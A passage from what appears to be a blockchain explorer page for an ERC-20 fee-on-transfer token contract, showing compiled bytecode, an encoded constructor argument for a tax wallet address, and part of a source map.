9e565b6105ae906305f5e1006117ad565b600c556105bd6009600a61179e565b6105cb906305f5e1006117ad565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105fb6009600a61179e565b610609906305f5e1006117ad565b6040519081526020016104e0565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161043b906117c4565b601e82111580156106535750601e8111155b80156106615750600e5460ff165b61069d5760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b604482015260640161043b565b6008829055600981905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161043b906117c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107825760405162461bcd60e51b815260040161043b906117c4565b600e5460ff16156107cb5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161043b565b600061081661080060646107fa601e6107e66009600a61179e565b6107f4906305f5e1006117ad565b906111ec565b90611275565b30600090815260016020526040902054906112b7565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909150610850903090600019610b05565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c791906117f9565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d91906117f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109be91906117f9565b600580546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a779190611816565b505060055460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af49190611844565b5050565b60006103ca338484610bd2565b6001600160a01b03831615801590610b2557506001600160a01b03821615155b610b715760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f206164647265737300604482015260640161043b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610bf257506001600160a01b03821615155b610c3e5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f2061646472657373604482015260640161043b565b60008111610ca05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b600080546001600160a01b03858116911614801590610ccd57506000546001600160a01b03848116911614155b1561106f57600e5460ff16610d5e576001600160a01b03831660009081526003602052604090205460ff1680610d1b57506001600160a01b03841660009081526003602052604090205460ff165b610d5e5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161043b565b6005546001600160a01b038581169116148015610d8957506007546001600160a01b03848116911614155b8015610dae57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9657600c54821115610e055760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600d5482610e28856001600160a01b031660009081526001602052604090205490565b610e329190611866565b1115610e805760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b600a8054906000610e9083611879565b91905055505b6005546001600160a01b038481169116148015610ebc57506001600160a01b0384163014155b15610ef3576064610ee2600f600a5411610ed757601e610edb565b6009545b84906111ec565b610eec9190611892565b9050610f4b565b6005546001600160a01b038581169116148015610f1957506001600160a01b0383163014155b15610f4b576064610f3e600f600a5411610f3457601e610edb565b60085484906111ec565b610f489190611892565b90505b80600b6000828254610f5d9190611866565b909155505030600090815260016020526040902054600e54610100900460ff16158015610f9757506005546001600160a01b038581169116145b8015610fab5750600e5462010000900460ff165b8015610fcc5750610fbe6009600a61179e565b610fc990600a6117ad565b81115b8015610fda5750600f600a54115b1561106d576000610fed6009600a61179e565b610ffa90620f42406117ad565b8211611006578161101f565b6110126009600a61179e565b61101f90620f42406117ad565b905061103781851161103157846112f9565b816112f9565b476000811580159061105357506110506103e884611892565b86115b905080156110645761106447611492565b50506000600b55505b505b80156110e9573060009081526001602052604090205461108f90826114cc565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e09085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461110c90836112b7565b6001600160a01b03851660009081526001602052604090205561115161113283836112b7565b6001600160a01b038516600090815260016020526040902054906114cc565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61119b85856112b7565b60405190815260200160405180910390a350505050565b600081848411156111d65760405162461bcd60e51b815260040161043b9190611559565b5060006111e384866118b4565b95945050505050565b6000826000036111fe575060006103ce565b600061120a83856117ad565b9050826112178583611892565b1461126e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b9392505050565b600061126e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152b565b600061126e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d6118c7565b6001600160a01b0392831660209182029290920181019190915260048054600680546001600160a01b031916918516919091179055600754604080516315ab88c960e31b81529051919094169363ad5c464893818401939092918290030181865afa1580156113b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d491906117f9565b816001815181106113e7576113e76118c7565b6001600160a01b039283166020918202929092010152600554600654600d5461141893928316929190911690610b05565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906114519085906000908690309042906004016118dd565b600060405180830381600087803b15801561146b57600080fd5b505af115801561147f573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610af4573d6000803e3d6000fd5b6000806114d98385611866565b90508381101561126e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b6000818361154c5760405162461bcd60e51b815260040161043b9190611559565b5060006111e38486611892565b600060208083528351808285015260005b818110156115865785810183015185820160400152820161156a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115bc57600080fd5b50565b600080604083850312156115d257600080fd5b82356115dd816115a7565b946020939093013593505050565b60008060006060848603121561160057600080fd5b833561160b816115a7565b9250602084013561161b816115a7565b929592945050506040919091013590565b6000806040838503121561163f57600080fd5b50508035926020909101359150565b60006020828403121561166057600080fd5b813561126e816115a7565b6000806040838503121561167e57600080fd5b8235611689816115a7565b91506020830135611699816115a7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116f55781600019048211156116db576116db6116a4565b808516156116e857918102915b93841c93908002906116bf565b509250929050565b60008261170c575060016103ce565b81611719575060006103ce565b816001811461172f576002811461173957611755565b60019150506103ce565b60ff84111561174a5761174a6116a4565b50506001821b6103ce565b5060208310610133831016604e8410600b8410161715611778575081810a6103ce565b61178283836116ba565b8060001904821115611796576117966116a4565b029392505050565b600061126e60ff8416836116fd565b80820281158282048414176103ce576103ce6116a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561180b57600080fd5b815161126e816115a7565b60008060006060848603121561182b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185657600080fd5b8151801515811461126e57600080fd5b808201808211156103ce576103ce6116a4565b60006001820161188b5761188b6116a4565b5060010190565b6000826118af57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103ce576103ce6116a4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192d5784516001600160a01b031683529383019391830191600101611908565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3b26b5ad0e9740c812f1e89401192494229523c8db57a7b0bdfcbb5b1faff9d64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000009dd37a7edd64ce3e303f636ae1565b6c340f167

-----Decoded View---------------
Arg [0] : taxWallet (address): 0x09dD37A7EDd64Ce3E303F636ae1565B6C340f167

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000009dd37a7edd64ce3e303f636ae1565b6c340f167


Deployed Bytecode Sourcemap

3607:8434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5718:83;;;;;;;;;;-1:-1:-1;5788:5:0;;;;;;;;;;;;-1:-1:-1;;;5788:5:0;;;;5718:83;;;;;;;:::i;:::-;;;;;;;;6551:161;;;;;;;;;;-1:-1:-1;6551:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6551:161:0;1023:187:1;4741:62:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4741:62:0;1215:177:1;5995:95:0;;;;;;;;;;;;;:::i;11310:220::-;;;;;;;;;;;;;:::i;:::-;;6720:313;;;;;;;;;;-1:-1:-1;6720:313:0;;;;;:::i;:::-;;:::i;4810:57::-;;;;;;;;;;;;;:::i;5904:83::-;;;;;;;;;;-1:-1:-1;5904:83:0;;4596:1;2000:36:1;;1988:2;1973:18;5904:83:0;1858:184:1;11538:156:0;;;;;;;;;;;;;:::i;11706:295::-;;;;;;;;;;-1:-1:-1;11706:295:0;;;;;:::i;:::-;;:::i;6098:119::-;;;;;;;;;;-1:-1:-1;6098:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6191:18:0;6164:7;6191:18;;;:9;:18;;;;;;;6098:119;2690:148;;;;;;;;;;;;;:::i;4874:53::-;;;;;;;;;;;;;;;;10448:854;;;;;;;;;;;;;:::i;2476:79::-;;;;;;;;;;-1:-1:-1;2514:7:0;2541:6;2476:79;;-1:-1:-1;;;;;2541:6:0;;;2698:51:1;;2686:2;2671:18;2476:79:0;2552:203:1;4934:55:0;;;;;;;;;;;;;;;;5809:87;;;;;;;;;;-1:-1:-1;5881:7:0;;;;;;;;;;;;-1:-1:-1;;;5881:7:0;;;;5809:87;;6225:167;;;;;;;;;;-1:-1:-1;6225:167:0;;;;;:::i;:::-;;:::i;6400:143::-;;;;;;;;;;-1:-1:-1;6400:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6508:18:0;;;6481:7;6508:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6400:143;6551:161;6626:4;6643:39;313:10;6666:7;6675:6;6643:8;:39::i;:::-;-1:-1:-1;6700:4:0;6551:161;;;;;:::o;4741:62::-;4790:13;4596:1;4790:2;:13;:::i;:::-;4780:23;;:7;:23;:::i;:::-;4741:62;:::o;5995:95::-;6048:7;4651:13;4596:1;4651:2;:13;:::i;:::-;4639:25;;:9;:25;:::i;:::-;6068:14;;5995:95;:::o;11310:220::-;2603:6;;-1:-1:-1;;;;;2603:6:0;313:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;;;;;;;;;11374:11:::1;::::0;::::1;;11373:12;11365:44;;;::::0;-1:-1:-1;;;11365:44:0;;5404:2:1;11365:44:0::1;::::0;::::1;5386:21:1::0;5443:2;5423:18;;;5416:30;-1:-1:-1;;;5462:18:1;;;5455:50;5522:18;;11365:44:0::1;5202:344:1::0;11365:44:0::1;11420:11;:18:::0;;11449;-1:-1:-1;;11449:18:0;;;;;;;;11483:39:::1;::::0;;-1:-1:-1;5713:41:1;;11420:18:0;11510:11;;::::1;11420:18;11510:11;5797:14:1::0;5790:22;5785:2;5770:18;;5763:50;11483:39:0::1;::::0;5686:18:1;11483:39:0::1;;;;;;;;11310:220::o:0;6720:313::-;6818:4;6835:36;6845:6;6853:9;6864:6;6835:9;:36::i;:::-;6882:121;6891:6;313:10;6913:89;6951:6;6913:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6913:19:0;;;;;;:11;:19;;;;;;;;313:10;6913:33;;;;;;;;;;:37;:89::i;:::-;6882:8;:121::i;:::-;-1:-1:-1;7021:4:0;6720:313;;;;;:::o;4810:57::-;4854:13;4596:1;4854:2;:13;:::i;:::-;4849:18;;:2;:18;:::i;11538:156::-;2603:6;;-1:-1:-1;;;;;2603:6:0;313:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;4651:13:::1;4596:1;4651:2;:13;:::i;:::-;4639:25;::::0;:9:::1;:25;:::i;:::-;11594:12;:22:::0;4651:13:::1;4596:1;4651:2;:13;:::i;:::-;4639:25;::::0;:9:::1;:25;:::i;:::-;11627:14;:24:::0;11667:19:::1;4651:13;4596:1;4651:2;:13;:::i;:::-;4639:25;::::0;:9:::1;:25;:::i;:::-;11667:19;::::0;1361:25:1;;;1349:2;1334:18;11667:19:0::1;1215:177:1::0;11706:295:0;2603:6;;-1:-1:-1;;;;;2603:6:0;313:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;11819:2:::1;11806:9;:15;;:35;;;;;11839:2;11825:10;:16;;11806:35;:50;;;;-1:-1:-1::0;11845:11:0::1;::::0;::::1;;11806:50;11798:76;;;::::0;-1:-1:-1;;;11798:76:0;;6026:2:1;11798:76:0::1;::::0;::::1;6008:21:1::0;6065:2;6045:18;;;6038:30;-1:-1:-1;;;6084:18:1;;;6077:43;6137:18;;11798:76:0::1;5824:337:1::0;11798:76:0::1;11885:12;:24:::0;;;11920:13:::1;:26:::0;;;11962:31:::1;::::0;;6340:25:1;;;6396:2;6381:18;;6374:34;;;11962:31:0::1;::::0;6313:18:1;11962:31:0::1;;;;;;;11706:295:::0;;:::o;2690:148::-;2603:6;;-1:-1:-1;;;;;2603:6:0;313:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;2797:1:::1;2781:6:::0;;2760:40:::1;::::0;-1:-1:-1;;;;;2781:6:0;;::::1;::::0;2760:40:::1;::::0;2797:1;;2760:40:::1;2828:1;2811:19:::0;;-1:-1:-1;;;;;;2811:19:0::1;::::0;;2690:148::o;10448:854::-;2603:6;;-1:-1:-1;;;;;2603:6:0;313:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;10511:11:::1;::::0;::::1;;10510:12;10502:43;;;::::0;-1:-1:-1;;;10502:43:0;;6621:2:1;10502:43:0::1;::::0;::::1;6603:21:1::0;6660:2;6640:18;;;6633:30;-1:-1:-1;;;6679:18:1;;;6672:49;6738:18;;10502:43:0::1;6419:343:1::0;10502:43:0::1;10556:19;10578:66;10607:36;10639:3;10607:27;4086:2;4651:13;4596:1;4651:2;:13;:::i;:::-;4639:25;::::0;:9:::1;:25;:::i;:::-;10607:11:::0;::::1;:27::i;:::-;:31:::0;::::1;:36::i;:::-;10596:4;6164:7:::0;6191:18;;;:9;:18;;;;;;10578:28;::::1;:66::i;:::-;10655:15;:80:::0;;-1:-1:-1;;;;;;10655:80:0::1;10692:42;10655:80:::0;;::::1;::::0;;;10556:88;;-1:-1:-1;10746:65:0::1;::::0;10763:4:::1;::::0;-1:-1:-1;;10746:8:0::1;:65::i;:::-;10870:15;;;;;;;;;-1:-1:-1::0;;;;;10870:15:0::1;-1:-1:-1::0;;;;;10870:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10838:83:0::1;;10930:4;10951:15;;;;;;;;;-1:-1:-1::0;;;;;10951:15:0::1;-1:-1:-1::0;;;;;10951:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10838:146;::::0;-1:-1:-1;;;;;;10838:146:0::1;::::0;;;;;;-1:-1:-1;;;;;7253:15:1;;;10838:146:0::1;::::0;::::1;7235:34:1::0;7305:15;;7285:18;;;7278:43;7170:18;;10838:146:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10822:13;:162:::0;;-1:-1:-1;;;;;;10822:162:0::1;-1:-1:-1::0;;;;;10822:162:0;;::::1;;::::0;;10995:15:::1;::::0;::::1;:31;11034:21;11080:4;11100:11:::0;-1:-1:-1;;313:10:0;10995:216:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10995:216:0;;;-1:-1:-1;;;;;7691:15:1;;;10995:216:0::1;::::0;::::1;7673:34:1::0;7723:18;;;7716:34;;;;7766:18;;;7759:34;;;;7809:18;;;7802:34;7873:15;;;7852:19;;;7845:44;11185:15:0::1;7905:19:1::0;;;7898:35;7607:19;;10995:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11229:13:0::1;::::0;11260:15:::1;::::0;11222:71:::1;::::0;-1:-1:-1;;;11222:71:0;;-1:-1:-1;;;;;11260:15:0;;::::1;11222:71;::::0;::::1;8429:51:1::0;-1:-1:-1;;8496:18:1;;;8489:34;11229:13:0;::::1;::::0;-1:-1:-1;11222:29:0::1;::::0;8402:18:1;;11222:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10491:811;10448:854::o:0;6225:167::-;6303:4;6320:42;313:10;6344:9;6355:6;6320:9;:42::i;7041:276::-;-1:-1:-1;;;;;7134:19:0;;;;;;:44;;-1:-1:-1;;;;;;7157:21:0;;;;7134:44;7126:88;;;;-1:-1:-1;;;7126:88:0;;9018:2:1;7126:88:0;;;9000:21:1;9057:2;9037:18;;;9030:30;9096:33;9076:18;;;9069:61;9147:18;;7126:88:0;8816:355:1;7126:88:0;-1:-1:-1;;;;;7225:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7277:32;;1361:25:1;;;7277:32:0;;1334:18:1;7277:32:0;;;;;;;7041:276;;;:::o;7325:2493::-;-1:-1:-1;;;;;7413:18:0;;;;;;:38;;-1:-1:-1;;;;;;7435:16:0;;;;7413:38;7405:83;;;;-1:-1:-1;;;7405:83:0;;9378:2:1;7405:83:0;;;9360:21:1;;;9397:18;;;9390:30;9456:34;9436:18;;;9429:62;9508:18;;7405:83:0;9176:356:1;7405:83:0;7516:1;7507:6;:10;7499:64;;;;-1:-1:-1;;;7499:64:0;;9739:2:1;7499:64:0;;;9721:21:1;9778:2;9758:18;;;9751:30;9817:34;9797:18;;;9790:62;-1:-1:-1;;;9868:18:1;;;9861:39;9917:19;;7499:64:0;9537:405:1;7499:64:0;7574:17;2541:6;;-1:-1:-1;;;;;7610:15:0;;;2541:6;;7610:15;;;;:32;;-1:-1:-1;2514:7:0;2541:6;-1:-1:-1;;;;;7629:13:0;;;2541:6;;7629:13;;7610:32;7606:1856;;;7666:11;;;;7662:195;;-1:-1:-1;;;;;7727:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;7753:24:0;;;;;;:18;:24;;;;;;;;7727:50;7697:144;;;;-1:-1:-1;;;7697:144:0;;10149:2:1;7697:144:0;;;10131:21:1;10188:2;10168:18;;;10161:30;-1:-1:-1;;;10207:18:1;;;10200:50;10267:18;;7697:144:0;9947:344:1;7697:144:0;7885:13;;-1:-1:-1;;;;;7877:21:0;;;7885:13;;7877:21;:55;;;;-1:-1:-1;7916:15:0;;-1:-1:-1;;;;;7902:30:0;;;7916:15;;7902:30;;7877:55;:83;;;;-1:-1:-1;;;;;;7938:22:0;;;;;;:18;:22;;;;;;;;7936:24;7877:83;7873:313;;;8000:12;;7990:6;:22;;7982:60;;;;-1:-1:-1;;;7982:60:0;;10498:2:1;7982:60:0;;;10480:21:1;10537:2;10517:18;;;10510:30;10576:27;10556:18;;;10549:55;10621:18;;7982:60:0;10296:349:1;7982:60:0;8095:14;;8085:6;8069:13;8079:2;-1:-1:-1;;;;;6191:18:0;6164:7;6191:18;;;:9;:18;;;;;;;6098:119;8069:13;:22;;;;:::i;:::-;:40;;8061:79;;;;-1:-1:-1;;;8061:79:0;;10982:2:1;8061:79:0;;;10964:21:1;11021:2;11001:18;;;10994:30;11060:28;11040:18;;;11033:56;11106:18;;8061:79:0;10780:350:1;8061:79:0;8159:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7873:313;8225:13;;-1:-1:-1;;;;;8219:19:0;;;8225:13;;8219:19;:43;;;;-1:-1:-1;;;;;;8242:20:0;;8257:4;8242:20;;8219:43;8214:362;;;8366:3;8295:70;4237:2;8307:9;;:26;8306:58;;4136:2;8306:58;;;8335:13;;8306:58;8295:6;;:10;:70::i;:::-;:74;;;;:::i;:::-;8283:86;;8214:362;;;8421:13;;-1:-1:-1;;;;;8413:21:0;;;8421:13;;8413:21;:43;;;;-1:-1:-1;;;;;;8438:18:0;;8451:4;8438:18;;8413:43;8409:167;;;8557:3;8489:67;4186:2;8501:9;;:25;8500:55;;4086:2;8500:55;;;8528:12;;8489:6;;:10;:67::i;:::-;:71;;;;:::i;:::-;8477:83;;8409:167;8605:9;8592;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;8678:4:0;8629:28;6191:18;;;:9;:18;;;;;;8722:6;;;;;;;8721:7;:48;;;;-1:-1:-1;8756:13:0;;-1:-1:-1;;;;;8750:19:0;;;8756:13;;8750:19;8721:48;:81;;;;-1:-1:-1;8791:11:0;;;;;;;8721:81;:143;;;;-1:-1:-1;4721:13:0;4596:1;4721:2;:13;:::i;:::-;4716:18;;:2;:18;:::i;:::-;8824:20;:40;8721:143;:195;;;;;4290:2;8886:9;;:30;8721:195;8699:752;;;8950:19;4790:13;4596:1;4790:2;:13;:::i;:::-;4780:23;;:7;:23;:::i;:::-;8973:20;:34;8972:69;;9021:20;8972:69;;;4790:13;4596:1;4790:2;:13;:::i;:::-;4780:23;;:7;:23;:::i;:::-;8950:91;;9060:59;9087:11;9078:6;:20;9077:41;;9112:6;9060:16;:59::i;9077:41::-;9100:11;9060:16;:59::i;:::-;9167:21;9138:26;9232:22;;;;;:53;;-1:-1:-1;9267:18:0;9281:4;9267:11;:18;:::i;:::-;9258:6;:27;9232:53;9207:78;;9307:17;9304:100;;;9349:35;9362:21;9349:12;:35::i;:::-;-1:-1:-1;;9434:1:0;9422:9;:13;-1:-1:-1;8699:752:0;7644:1818;7606:1856;9477:11;;9474:161;;9545:4;9527:24;;;;:9;:24;;;;;;:39;;9556:9;9527:28;:39::i;:::-;9520:4;9502:24;;;;:9;:24;;;;;;;:64;;;;9584:39;;-1:-1:-1;;;;;9584:39:0;;;;;;;9613:9;1361:25:1;;1349:2;1334:18;;1215:177;9584:39:0;;;;;;;;9474:161;-1:-1:-1;;;;;9661:15:0;;;;;;:9;:15;;;;;;:27;;9681:6;9661:19;:27::i;:::-;-1:-1:-1;;;;;9645:15:0;;;;;;:9;:15;;;;;:43;9713:40;9731:21;:6;9742:9;9731:10;:21::i;:::-;-1:-1:-1;;;;;9713:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9699:13:0;;;;;;;:9;:13;;;;;:54;;;;9769:41;;;9788:21;:6;9799:9;9788:10;:21::i;:::-;9769:41;;1361:25:1;;;1349:2;1334:18;9769:41:0;;;;;;;7394:2424;7325:2493;;;:::o;1370:190::-;1456:7;1492:12;1484:6;;;;1476:29;;;;-1:-1:-1;;;1476:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1516:9:0;1528:5;1532:1;1528;:5;:::i;:::-;1516:17;1370:190;-1:-1:-1;;;;;1370:190:0:o;1568:246::-;1626:7;1650:1;1655;1650:6;1646:47;;-1:-1:-1;1680:1:0;1673:8;;1646:47;1703:9;1715:5;1719:1;1715;:5;:::i;:::-;1703:17;-1:-1:-1;1748:1:0;1739:5;1743:1;1703:17;1739:5;:::i;:::-;:10;1731:56;;;;-1:-1:-1;;;1731:56:0;;11832:2:1;1731:56:0;;;11814:21:1;11871:2;11851:18;;;11844:30;11910:34;11890:18;;;11883:62;-1:-1:-1;;;11961:18:1;;;11954:31;12002:19;;1731:56:0;11630:397:1;1731:56:0;1805:1;1568:246;-1:-1:-1;;;1568:246:0:o;1822:132::-;1880:7;1907:39;1911:1;1914;1907:39;;;;;;;;;;;;;;;;;:3;:39::i;1226:136::-;1284:7;1311:43;1315:1;1318;1311:43;;;;;;;;;;;;;;;;;:3;:43::i;9926:514::-;5304:6;:13;;-1:-1:-1;;5304:13:0;;;;;10028:16:::1;::::0;;10042:1:::1;10028:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10028:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10028:16:0::1;10004:40;;10073:4;10055;10060:1;10055:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10055:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10106:10:::1;::::0;;10089:14:::1;:27:::0;;-1:-1:-1;;;;;;10089:27:0::1;10106:10:::0;;::::1;10089:27:::0;;;::::1;::::0;;10137:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10137:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22;;::::1;::::0;10055:7;;10137:22;;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10127:4;10132:1;10127:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10127:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10179:13:::1;::::0;10194:14:::1;::::0;10210::::1;::::0;10170:55:::1;::::0;10179:13;;::::1;::::0;10194:14;;;::::1;::::0;10170:8:::1;:55::i;:::-;10236:15;::::0;:196:::1;::::0;-1:-1:-1;;;10236:196:0;;-1:-1:-1;;;;;10236:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10317:11;;10236:15:::1;::::0;10359:4;;10386::::1;::::0;10406:15:::1;::::0;10236:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5340:6:0;:14;;-1:-1:-1;;5340:14:0;;;-1:-1:-1;;;;9926:514:0:o;9826:92::-;9883:10;;:27;;-1:-1:-1;;;;;9883:10:0;;;;:27;;;;;9903:6;;9883:10;:27;:10;:27;9903:6;9883:10;:27;;;;;;;;;;;;;;;;;;;1039:179;1097:7;;1129:5;1133:1;1129;:5;:::i;:::-;1117:17;;1158:1;1153;:6;;1145:46;;;;-1:-1:-1;;;1145:46:0;;13483:2:1;1145:46:0;;;13465:21:1;13522:2;13502:18;;;13495:30;13561:29;13541:18;;;13534:57;13608:18;;1145:46:0;13281:351:1;1962:189:0;2048:7;2083:12;2076:5;2068:28;;;;-1:-1:-1;;;2068:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2107:9:0;2119:5;2123:1;2119;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:248::-;2115:6;2123;2176:2;2164:9;2155:7;2151:23;2147:32;2144:52;;;2192:1;2189;2182:12;2144:52;-1:-1:-1;;2215:23:1;;;2285:2;2270:18;;;2257:32;;-1:-1:-1;2047:248:1:o;2300:247::-;2359:6;2